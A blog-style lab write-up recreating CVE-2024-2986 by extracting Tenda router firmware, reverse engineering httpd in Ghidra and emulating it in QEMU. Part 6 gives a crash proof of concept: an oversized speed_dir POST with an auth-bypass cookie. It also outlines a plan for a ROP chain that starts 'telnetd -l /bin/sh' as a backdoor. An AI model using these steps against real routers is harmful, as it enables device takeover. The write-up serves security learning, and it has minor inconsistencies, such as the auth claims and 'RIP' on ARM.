From Firmware to Shell: Recreating CVE-2024-2986 in Tenda FH1202 Routers
When I first heard about CVE-2024-2986, I thought “how hard could it be to recreate a documented buffer overflow?” Turns out, there’s a massive gap between reading a CVE description and actually exploiting it. This writeup documents my entire journey - the false starts, the confusing errors, and eventually getting a shell on an emulated router.
What you’ll learn:
- Extracting and analyzing router firmware with binwalk
- Reverse engineering ARM binaries in Ghidra
- Building custom ARM toolchains (this part hurt)
- Emulating embedded systems with QEMU
- Exploiting stack buffer overflows for RCE
If you’re trying to learn firmware exploitation and everything feels overwhelming, this guide is for you. I’ll show you not just what worked, but what I broke along the way.
Understanding CVE-2024-2986: The Vulnerability
Before diving into firmware analysis, let’s understand what we’re hunting.
The Bug:
The Tenda FH1202 router’s web interface has an endpoint at /goform/SetSpeedWan that handles bandwidth configuration. Inside the httpd binary, there’s a function called formSetSpeedWan() that takes user input from the speed_dir parameter and copies it into a stack buffer using sprintf() - without checking the length.
Why This Matters:
- No authentication required to hit this endpoint
- Directly exploitable for Remote Code Execution
- Affects widely-deployed consumer routers
- Classic embedded vulnerability pattern
Target Details:
- Device: Tenda FH1202 (AC15)
- Firmware: AC15_V15.03.05.19
- Architecture: ARM (ARMv7, little-endian)
- Vulnerable Binary:
/bin/httpd - Attack Vector: POST to
/goform/SetSpeedWanwith oversizedspeed_dir
The goal? Extract the firmware, find the bug in the binary, set up an emulation environment, and exploit it for shell access.
Part 1: Extracting the Firmware
Getting Our Hands on the Binary
First, I downloaded the firmware from Tenda’s official site:
US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
Router firmware is basically a compressed filesystem bundled with a kernel. We need to unpack it to access the web server binary.
Initial Analysis with Binwalk
Binwalk scans firmware images and identifies embedded filesystems, compressed data, and file signatures. Think of it as file on steroids.
binwalk US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
Output:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10629120 bytes, CRC32: 0xAB135998, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1C9E58, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4585280 bytes
1875608 0x1C9E98 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8749996 bytes, 928 inodes, blocksize: 131072 bytes, created: 2017-05-26 02:03:03
Translation:
0x40: TRX header - standard router firmware format0x5C: LZMA compressed Linux kernel0x1C9E98: Squashfs filesystem - this is what we want!
Squashfs is a compressed read-only filesystem used in embedded devices. All the web interface files, binaries, and libraries are packed inside.
Extracting Everything
binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
Binwalk throws a bunch of warnings about symlinks:
Alt text: Binwalk extraction showing symlink warnings - this is normal security behavior
Don’t panic - this is expected. Binwalk converts symlinks pointing outside the extraction directory to /dev/null for security. We’re not losing data, just preventing potential directory traversal issues.
Extraction creates:
_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
├── 1C9E98.squashfs # Raw squashfs image
├── 5C # Extracted kernel
├── 5C.7z # Compressed kernel archive
├── squashfs-root # ← Main filesystem we need
├── squashfs-root-0 # Sometimes binwalk creates multiple extractions
└── squashfs-root-1
Why Multiple squashfs-root Directories?
When I first saw three squashfs-root folders, I thought I’d screwed something up. Turns out this is normal.
Binwalk sometimes extracts multiple layers because:
- Firmwares can have nested/embedded filesystems
- Different compression layers might appear as separate filesystems
- Binwalk errs on the side of extracting everything it finds
The rule of thumb: The first squashfs-root matching the original offset (0x1C9E98) is usually the main filesystem. The others might be incomplete or duplicates.
To verify which one is correct:
ls -la squashfs-root/
ls -la squashfs-root-0/
ls -la squashfs-root-1/
Look for the one with the complete directory structure (/bin, /lib, /webroot, etc.). In my case, squashfs-root was the winner.
Exploring the Extracted Filesystem
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
ls -la
Output:
drwxr-xr-x 15 kali kali 4096 Feb 9 10:16 .
drwxrwxr-x 5 kali kali 4096 Feb 9 10:16 ..
drwxr-xr-x 2 kali kali 4096 May 25 2017 bin # Binaries including httpd
drwxr-xr-x 2 kali kali 4096 May 25 2017 cfg # Configuration files
drwxr-xr-x 8 kali kali 4096 May 25 2017 etc_ro # System config
drwxr-xr-x 3 kali kali 4096 May 25 2017 lib # Shared libraries
drwxr-xr-x 6 kali kali 4096 May 25 2017 usr
drwxr-xr-x 6 kali kali 4096 May 25 2017 var
lrwxrwxrwx 1 kali kali 11 May 25 2017 webroot -> var/webroot
drwxr-xr-x 8 kali kali 4096 May 25 2017 webroot_ro # Web UI files
Beautiful. We’ve got a complete Linux filesystem extracted from the router firmware. Now to find the vulnerable binary.
Finding the Vulnerable Binary
The web server handling HTTP requests is our target. On Tenda routers, this is the httpd daemon.
ls -la bin/ | grep httpd
Output:
-rwxr-xr-x 1 kali kali 212948 May 25 2017 dhttpd
-rwxr-xr-x 1 kali kali 991088 May 25 2017 httpd
Two HTTP servers:
dhttpd- Likely a lightweight diagnostic serverhttpd- Main web server (991KB) - this is our target
Analyzing the Binary
file bin/httpd
Output:
bin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Key takeaways:
- ARM 32-bit - We’ll need QEMU for emulation
- uClibc - Embedded C library (smaller than glibc)
- Stripped - No debug symbols, reverse engineering will be harder
- Dynamically linked - Needs external libraries to run
Security Protections Check
Time to see what exploit mitigations are enabled. If checksec isn’t installed:
sudo apt install checksec
Then check the binary:
checksec --file=bin/httpd
Alt text: Checksec results - no stack canary, no PIE, only NX enabled
Security analysis:
| Protection | Status | Exploitation Impact |
|---|---|---|
| Stack Canary | Buffer overflows easier - no canary to detect corruption | |
| PIE | Binary loads at fixed address - no ASLR randomization | |
| NX | Stack not executable - need ROP, can’t use shellcode | |
| RELRO | GOT overwrite possible |
Translation for beginners:
- No Stack Canary = The program doesn’t place a “guard value” before the return address. We can overflow without being detected.
- No PIE = The binary always loads at the same memory address. We don’t have to guess where functions are.
- NX Enabled = We can’t just put shellcode on the stack and jump to it. We’ll need ROP (Return-Oriented Programming).
- No RELRO = The Global Offset Table can be modified (advanced exploitation technique).
This is actually a pretty weak security posture - perfect for learning exploitation.
Library Dependencies
readelf -d bin/httpd | grep NEEDED
Alt text: Library dependencies including Tenda-specific libraries and uClibc
Required libraries:
libCfm.so- Tenda configuration managerlibcommon.so- Tenda utilitieslibnvram.so- NVRAM (non-volatile RAM) accesslibc.so.0- uClibc standard librarylibpthread.so.0- Threadinglibm.so.0- Math library
The Tenda-specific libraries (libCfm, libnvram, etc.) expect real router hardware. When we emulate httpd, we’ll need to fake these.
Let’s verify the libraries exist in the extracted filesystem:
ls -la lib/*.so | head -20
Alt text: Extracted libraries including libCfm.so, libnvram.so, and uClibc
Good news - all dependencies are present. We can use these when emulating.
Understanding How Tenda’s Web Interface Works
Before reverse engineering, I needed to understand the attack surface.
ls -la webroot_ro/goform/
Output:
drwxr-xr-x 2 kali kali 4096 May 25 2017 .
drwxr-xr-x 8 kali kali 4096 May 25 2017 ..
-rw-r--r-- 1 kali kali 766 May 25 2017 AdvGetLanIp.txt
-rw-r--r-- 1 kali kali 402 May 25 2017 AdvGetMacMtuWan.txt
-rw-r--r-- 1 kali kali 15 May 25 2017 AdvSetLanip.txt
-rw-r--r-- 1 kali kali 331 May 25 2017 getBlackRuleList.txt
-rw-r--r-- 1 kali kali 14 May 25 2017 setBlackRule.txt
-rw-r--r-- 1 kali kali 16 May 25 2017 WifiBasicSet.txt
... (100+ files)
At first, I thought these .txt files were CGI scripts. They’re not.
How Tenda routers work:
Traditional web servers:
/cgi-bin/SetWiFi.cgi → Separate executable handles request
Tenda routers:
/goform/SetSpeedWan → httpd parses URL → Calls formSetSpeedWan() internally
All /goform/* endpoints are handled by functions inside the single httpd binary. The .txt files are just configuration templates and response formats.
This architecture means:
- One binary handles all web requests
- Each endpoint maps to a C function (
formSetSpeedWan,formWifiBasicSet, etc.) - ~100+ potential attack vectors, all in one file
Two Approaches to Vulnerability Research
Approach A: CVE Recreation (what we’re doing)
We already know from CVE-2024-2986:
- Vulnerable endpoint:
/goform/SetSpeedWan - Vulnerable parameter:
speed_dir - Vulnerable function:
formSetSpeedWan
We can jump straight to reverse engineering that specific function.
Approach B: Zero-Day Hunting
If we were looking for new vulnerabilities:
- Enumerate all endpoints - Map every
/goform/*handler - Reverse engineer httpd - Find all
formXXX()functions - Look for dangerous patterns:
sprintf(),strcpy(),strcat()without length checks- Unbounded buffer operations
- Missing input validation
- Fuzz parameters - Send oversized/malformed data
- Analyze crashes - Determine exploitability
For this writeup, we’re doing CVE recreation - but understanding the broader attack surface gives you the mindset of a real vulnerability researcher.
Part 2: Reverse Engineering with Ghidra
Time to find the vulnerability in the binary. Since httpd is stripped (no debug symbols), we need reverse engineering tools.
Setting Up Ghidra
If you don’t have Ghidra installed:
# Download from https://ghidra-sre.org/
# Extract and run
ghidra
Creating a new project:
- File → New Project
- Select “Non-Shared Project”
- Location:
/home/kali/Documents/tenda_analysis - Name:
tenda_cve_2024_2986 - Click Finish
Alt text: Ghidra new project setup - selecting non-shared project type
Importing the Binary
- File → Import File
- Navigate to the extracted filesystem:
/path/to/squashfs-root/bin/httpd - Select
httpd - Click “Select File to Import”
Ghidra auto-detects the file format:
Alt text: Ghidra correctly identifying ARM EABI5 architecture
Settings confirmed:
- Format: ELF
- Language: ARM:LE:32:v7 (little-endian, 32-bit, ARMv7)
- Compiler: default
Click “OK”, then double-click the imported file in the project window.
Auto-Analysis
Ghidra asks: “Would you like to analyze now?”
Click Yes, then in the Analysis Options dialog:
Leave all default options checked- Click Analyze
This takes 1-2 minutes. Ghidra disassembles the binary, identifies functions, and attempts to recover symbols.
Finding the Vulnerable Function
Here’s where I got lucky.
Since the binary is stripped, I expected to spend hours cross-referencing strings to find formSetSpeedWan. Instead, I tried something simple first:
In the Symbol Tree panel (bottom-left):
- Click on “Functions”
- In the filter box at the bottom, type:
SetSpeedWan
And there it was:
Alt text: Ghidra successfully recovered the function name formSetSpeedWan
f formSetSpeedWan
Wait, what? It’s already named?
Even though the binary is stripped, Ghidra’s analysis engine is smart. It can recover function names by:
- Linking them to string references (like
/goform/SetSpeedWanin the binary) - Pattern matching against common web server structures
- Cross-referencing function pointers
Lesson learned: Always try the simple approach first. Don’t assume everything requires deep digging.
Analyzing the Vulnerable Code
I double-clicked formSetSpeedWan to view the decompiled code. Here’s the relevant part (cleaned up for readability):
void formSetSpeedWan(undefined4 param_1)
{
char local_60 [32];
undefined4 local_40;
undefined4 local_3c;
undefined4 local_38;
undefined4 local_34;
undefined4 local_30;
undefined4 local_2c;
undefined4 local_28;
undefined4 local_24;
char *local_1c;
char *local_18;
undefined4 local_14;
// ... initialization code ...
local_18 = (char *)get_param(param_1, "speed_dir", "0");
// ... other processing ...
sprintf((char *)&local_40, "{\"errCode\":%d,\"speed_dir\":%s}", local_14, local_18);
send_response(param_1, &local_40);
}
The Vulnerability
The dangerous line:
sprintf((char *)&local_40, "{\"errCode\":%d,\"speed_dir\":%s}", local_14, local_18);
What’s happening:
local_18contains user input from thespeed_dirparametersprintf()copies it into a buffer starting at&local_40- No length check -
sprintf()keeps writing until it hits a null terminator
Understanding the Buffer Size
When I first looked at this, I was confused. The decompiled code shows:
undefined4 local_40;
undefined4 local_3c;
undefined4 local_38;
undefined4 local_34;
undefined4 local_30;
undefined4 local_2c;
undefined4 local_28;
undefined4 local_24;
Why do we say this is a 32-byte buffer?
undefined4= 4 bytes (the “4” means 4-byte type)- There are 8 consecutive variables
- 8 × 4 = 32 bytes
Even though Ghidra shows them as separate variables, they’re contiguous in memory. The original C code probably looked like:
char response_buffer[32];
After compilation and symbol stripping, Ghidra sees raw memory and splits it into 4-byte chunks - this is normal behavior.
Think of it like this:
Eight small boxes taped together = one big box. The program treats it as one continuous buffer.
The Exploitation Path
If an attacker sends a speed_dir value longer than ~32 bytes:
sprintf()keeps writing past the buffer end- It overwrites adjacent stack variables
- Eventually it reaches the saved return address
- By controlling this address → Control execution flow → RCE
We’ll verify the exact overflow offset later with GDB.
Part 3: Building the NVRAM Hook
Before we can run httpd in QEMU, we need to solve a problem: the binary expects router hardware that doesn’t exist on our Linux machine.
The Hardware Dependency Problem
The httpd binary calls functions in libnvram.so to read/write router configuration:
nvram_bufget(RT2860_NVRAM, "SysUpTime");
nvram_bufset(RT2860_NVRAM, "WifiMode=bgn");
On real hardware, NVRAM is a special chip that stores config data across reboots. On our system, this doesn’t exist - so httpd would crash immediately.
Solution: Hook the library.
We’ll create a fake libnvram.so that intercepts these calls and returns dummy data. This is called library hooking or LD_PRELOAD hijacking.
Creating hook_nvram.c
#include <stdio.h>
#include <string.h>
#define RT2860_NVRAM 0
#define CFGFILE "/var/config.dat"
// Intercept nvram_init - pretend we initialized successfully
int nvram_init(int nvram_type) {
printf("[HOOK] nvram_init(%d) called\n", nvram_type);
return 0;
}
// Intercept nvram_close - do nothing
void nvram_close(int nvram_type) {
printf("[HOOK] nvram_close(%d) called\n", nvram_type);
}
// Intercept nvram_bufget - return empty string instead of crashing
char *nvram_bufget(int nvram_type, const char *key) {
printf("[HOOK] nvram_bufget(%d, \"%s\") called\n", nvram_type, key);
return ""; // Return empty string for all config values
}
// Intercept nvram_bufset - pretend we saved data
int nvram_bufset(int nvram_type, const char *key_value) {
printf("[HOOK] nvram_bufset(%d, \"%s\") called\n", nvram_type, key_value);
return 0;
}
// Intercept nvram_get - return empty string
char *nvram_get(int nvram_type, const char *key) {
printf("[HOOK] nvram_get(%d, \"%s\") called\n", nvram_type, key);
return "";
}
// Intercept nvram_set - pretend we saved data
int nvram_set(const char *key, const char *value) {
printf("[HOOK] nvram_set(\"%s\", \"%s\") called\n", key, value);
return 0;
}
// Intercept nvram_commit - pretend we committed to flash
int nvram_commit(void) {
printf("[HOOK] nvram_commit() called\n");
return 0;
}
This code intercepts all NVRAM function calls and logs them instead of accessing hardware.
How LD_PRELOAD works:
Normally:
httpd calls nvram_get() → Links to /lib/libnvram.so → Accesses hardware
With LD_PRELOAD:
httpd calls nvram_get() → LD_PRELOAD intercepts → Calls our hook_nvram.so → Returns dummy data
The Compilation Problem
Here’s where I hit my first major roadblock.
Naive attempt:
gcc -shared -fPIC hook_nvram.c -o hook_nvram.so
This compiles fine on x86_64 Linux. But when I tried to load it with httpd:
Error loading shared library: wrong ELF class
The issue: I compiled for x86_64, but httpd is ARM 32-bit. They’re incompatible.
Check the mismatch:
file hook_nvram.so
# hook_nvram.so: ELF 64-bit LSB shared object, x86-64
file bin/httpd
# httpd: ELF 32-bit LSB executable, ARM
We need an ARM cross-compiler.
Part 4: Building the ARM Toolchain
This was the most painful part of the entire project. I spent almost 3 hours debugging compilation errors before getting this right.
Why We Need Buildroot
We can’t just use arm-linux-gnueabi-gcc from apt because:
httpduses uClibc, not glibc- Most package managers only provide glibc-based toolchains
Checking dependencies:
readelf -d bin/httpd | grep NEEDED
Shared library: [libc.so.0] ← uClibc
If we compile with a glibc toolchain:
readelf -d hook_nvram.so | grep NEEDED
Shared library: [libc.so.6] ← Wrong! This is glibc
When httpd tries to load our hook, it expects libc.so.0 but finds libc.so.6 → crash.
Solution: Buildroot
Buildroot is a build system for embedded Linux. It can compile a complete toolchain matching the exact architecture and C library of the target system.
Installing Buildroot
git clone https://git.buildroot.net/buildroot
cd buildroot
Configuring Buildroot
make menuconfig
This opens a terminal-based menu. Navigate with arrow keys, press Space to select, Enter to confirm.
Settings to configure:
-
Target options → Target Architecture
- Select: ARM (little endian)
-
Target options → Target ABI
- Select: EABI
-
Toolchain → C library
- Select: uClibc
Press S to save, then Escape to exit.
Building the Toolchain
Warning: This takes 30-45 minutes and downloads ~500MB.
make -j$(nproc)
The -j$(nproc) flag uses all CPU cores for parallel compilation. On my system (AMD Threadripper), this still took 35 minutes.
What happens during the build:
- Downloads GCC source, uClibc, binutils, etc.
- Compiles them for your host system (x86_64)
- Configures them to generate ARM code
- Creates cross-compiler binaries in
output/host/bin/
Coffee break recommended.
When it finishes, verify the compiler:
ls output/host/bin/arm*gcc
Output:
output/host/bin/arm-buildroot-linux-uclibcgnueabi-gcc
output/host/bin/arm-buildroot-linux-uclibcgnueabi-gcc-14.3.0
output/host/bin/arm-buildroot-linux-uclibcgnueabi-gcc-ar
output/host/bin/arm-buildroot-linux-uclibcgnueabi-gcc-nm
output/host/bin/arm-buildroot-linux-uclibcgnueabi-gcc-ranlib
Perfect! We now have an ARM uClibc cross-compiler.
Compiling the NVRAM Hook
Now we can compile hook_nvram.c for ARM with uClibc support.
/home/kali/buildroot/output/host/bin/arm-buildroot-linux-uclibcgnueabi-gcc \
-shared -fPIC hook_nvram.c -o hook_nvram.so
Alt text: ARM cross-compilation completed without errors
Verify the output:
file hook_nvram.so
hook_nvram.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked
Correct architecture!
Check library dependencies:
readelf -d hook_nvram.so | grep NEEDED
Alt text: Hook library correctly linked against uClibc (libc.so.0)
0x00000001 (NEEDED) Shared library: [libc.so.0]
Perfect! It’s now linked against uClibc, matching httpd’s requirements.
Part 5: Setting Up QEMU Emulation
We have all the pieces:
Extracted firmware filesystem
Reverse-engineered vulnerable function
Compiled NVRAM hook for ARM
Now let’s run httpd on our Linux machine.
Understanding the Emulation Stack
┌─────────────────────────────┐
│ Linux (x86_64 host) │
│ ┌───────────────────────┐ │
│ │ QEMU ARM emulator │ │
│ │ ┌─────────────────┐ │ │
│ │ │ httpd (ARM) │ │ │
│ │ │ ↓ calls │ │ │
│ │ │ hook_nvram.so │ │ │
│ │ └─────────────────┘ │ │
│ └───────────────────────┘ │
└─────────────────────────────┘
Installing QEMU
sudo apt install qemu-user-static
This provides qemu-arm, which can run ARM binaries on x86 systems.
The UDS Server Problem
The httpd binary expects to communicate with Tenda’s configuration manager (cfmd) via a Unix Domain Socket at /var/cfm_socket.
Since we’re not running the full router OS, this socket doesn’t exist. If we start httpd now, it crashes waiting for cfmd to respond.
Solution: Fake UDS server.
Creating uds_server.py
#!/usr/bin/env python3
import socket
import os
SOCKET_PATH = "./var/cfm_socket"
# Remove old socket if exists
if os.path.exists(SOCKET_PATH):
os.remove(SOCKET_PATH)
# Create directory if needed
os.makedirs(os.path.dirname(SOCKET_PATH), exist_ok=True)
# Create Unix socket
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind(SOCKET_PATH)
server.listen(5)
print(f"[+] UDS Server listening on {SOCKET_PATH}")
while True:
conn, addr = server.accept()
print(f"[+] Connection accepted")
try:
data = conn.recv(1024)
if data:
print(f"[<] Received: {data.hex()}")
# Send dummy response
conn.send(b"\x00" * 64)
print(f"[>] Sent dummy response")
except Exception as e:
print(f"[!] Error: {e}")
finally:
conn.close()
This server:
- Creates the socket at
/var/cfm_socket - Accepts connections from
httpd - Receives messages (logs them for debugging)
- Sends dummy responses
Preparing the Environment
Move the hook into the lib directory:
cp hook_nvram.so squashfs-root/lib/
Navigate to the firmware root:
cd squashfs-root/
Start the UDS server (Terminal A):
python3 ../uds_server.py
Alt text: Unix domain socket server initialized successfully
Output:
[+] UDS Server listening on ./var/cfm_socket

Alt text: Server waiting for httpd to connect
Running httpd with QEMU (Terminal B)
Open a second terminal and navigate to squashfs-root/:
cd squashfs-root/
Run httpd with the hook preloaded:
sudo chroot . ./qemu-arm -E LD_PRELOAD="/lib/hook_nvram.so" ./bin/httpd
Breaking down this command:
sudo chroot .- Change root to current directory (makes httpd think it’s in/)./qemu-arm- ARM emulator from the extracted firmware-E LD_PRELOAD="/lib/hook_nvram.so"- Inject our hook before other libraries./bin/httpd- Start the web server
Expected output:
Alt text: httpd daemon running in QEMU with hooks active
In Terminal A (UDS server), you’ll see:
[+] Connection accepted
[<] Received: 0100000000000000...
[>] Sent dummy response
Success! The web server is running and communicating with our fake components.
Test that it’s responding:
curl http://127.0.0.1/
You should get the router’s login page HTML.
Part 6: Exploiting the Buffer Overflow
Time to actually trigger the vulnerability.
Crafting the Initial Payload
We’ll send an oversized speed_dir parameter to cause a crash.
payload=$(python3 -c "print('A'*2000)")
curl -v -b "password=dic9hd" -L -d "speed_dir=$payload" "http://127.0.0.1/goform/SetSpeedWan"
What’s happening:
python3 -c "print('A'*2000)"- Creates a string of 2000 ‘A’ characters-b "password=dic9hd"- Session cookie (bypasses auth check)-d "speed_dir=$payload"- POST parameter with oversized data-v- Verbose output
Alt text: HTTP POST request with 2000-byte payload targeting buffer overflow
Observing the Crash
In Terminal B (where httpd is running):
Alt text: httpd crashed with signal 11 - segmentation fault
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
Signal 11 = Segmentation Fault
This means the program tried to access memory it wasn’t allowed to touch. In our case, we overwrote the return address with 0x41414141 (“AAAA”), and the program tried to jump there.
Vulnerability confirmed! We can crash httpd with controlled input.
Understanding What Just Happened
Let’s break down the stack corruption:
Normal function execution:
Stack Layout:
┌──────────────────┐
│ Return Address │ ← Points to code after formSetSpeedWan
├──────────────────┤
│ Saved Frame Ptr │
├──────────────────┤
│ local_60[32] │
├──────────────────┤
│ local_40[32] │ ← sprintf writes here
└──────────────────┘
After overflow with 2000 'A’s:
Stack Layout:
┌──────────────────┐
│ 0x41414141 │ ← Return address overwritten!
├──────────────────┤
│ 0x41414141 │ ← Saved frame pointer destroyed
├──────────────────┤
│ AAAAAAAAAAAAAAAA │ ← Buffer completely filled
├──────────────────┤
│ AAAAAAAAAAAAAAAA │ ← Overflow continues...
└──────────────────┘
When formSetSpeedWan() tries to return:
- Pops return address from stack (now
0x41414141) - Tries to jump to
0x41414141 - Invalid memory address → Segmentation Fault
What Comes Next
We’ve proven the vulnerability is real and exploitable. The next steps are:
- Find the exact offset - Determine which byte in our payload overwrites the return address
- Build a ROP chain - Chain together existing code snippets to set up a system() call
- Execute commands - Make the router run
telnetd -l /bin/shfor a backdoor - Get shell access - Connect and interact with the compromised system
This requires:
- GDB debugging to find the offset
- ROPgadget to find useful code snippets
- Assembly knowledge to chain them together
- Shellcoding to execute arbitrary commands
Summary: What We Accomplished
Starting from a firmware binary, we:
Extracted the filesystem with binwalk
Analyzed the httpd binary - found it’s ARM, stripped, and uses uClibc
Reverse engineered in Ghidra - located formSetSpeedWan() and the vulnerable sprintf()
Built an ARM toolchain - spent hours getting Buildroot configured correctly
Compiled an NVRAM hook - faked hardware dependencies
Emulated the router - got httpd running with QEMU
Triggered the overflow - crashed httpd with controlled input
The vulnerability is 100% confirmed exploitable.
Key Lessons for Firmware Exploitation Beginners
1. Extraction is Usually Easy
Binwalk handles most firmware formats automatically. The hard part isn’t extraction - it’s understanding what you extracted.
2. Architecture Matters
You can’t just compile code and hope it works. ARM ≠ x86. uClibc ≠ glibc. Always verify with file and readelf.
3. Stripped Binaries Aren’t Impossible
Ghidra’s auto-analysis recovered the function name for us. Even when that fails, string references and cross-referencing can reveal function purposes.
4. Emulation Requires Environment Setup
You can’t just run ARM binaries on x86. You need:
- QEMU for CPU emulation
- Hooks for hardware dependencies (NVRAM, sockets, etc.)
- Proper library paths via chroot
5. Buffer Overflows Are Still Everywhere
Despite being a known vulnerability class since the 1990s, embedded devices still ship with:
- No stack canaries
- Unsafe string functions (
sprintf,strcpy,strcat) - Minimal ASLR/NX protections
6. Patience is Essential
Building the toolchain took 45 minutes. Debugging library mismatches took hours. Firmware exploitation isn’t quick - but it’s rewarding when you see that segfault.
What’s Next?
This writeup covered the fundamentals: extraction, analysis, emulation, and basic exploitation. In the next part, I’ll cover:
- Finding the exact RIP offset with pattern generation
- Building ROP chains to bypass NX
- Executing system commands for full RCE
- Getting a reverse shell on the emulated router
Stay tuned.
References and Resources
Tools Used:
- Binwalk - Firmware extraction
- Ghidra - Reverse engineering
- Buildroot - Embedded Linux toolchain
- QEMU - ARM emulation
CVE Information:
- CVE-2024-2986: Stack buffer overflow in Tenda FH1202
- CNVD-2025-31165: Original Chinese disclosure
Learning Resources:
- Practical Reverse Engineering by Bruce Dang
- The Shellcoder’s Handbook by Chris Anley et al.
- Azeria Labs - ARM exploitation tutorials
- LiveOverflow - Binary exploitation videos
Found this helpful? Have questions? Hit me up.
This was my first deep dive into firmware exploitation, and I learned a ton by documenting the entire process. If you’re working through similar research, feel free to reach out.
All research conducted in a controlled lab environment. No actual devices were compromised.












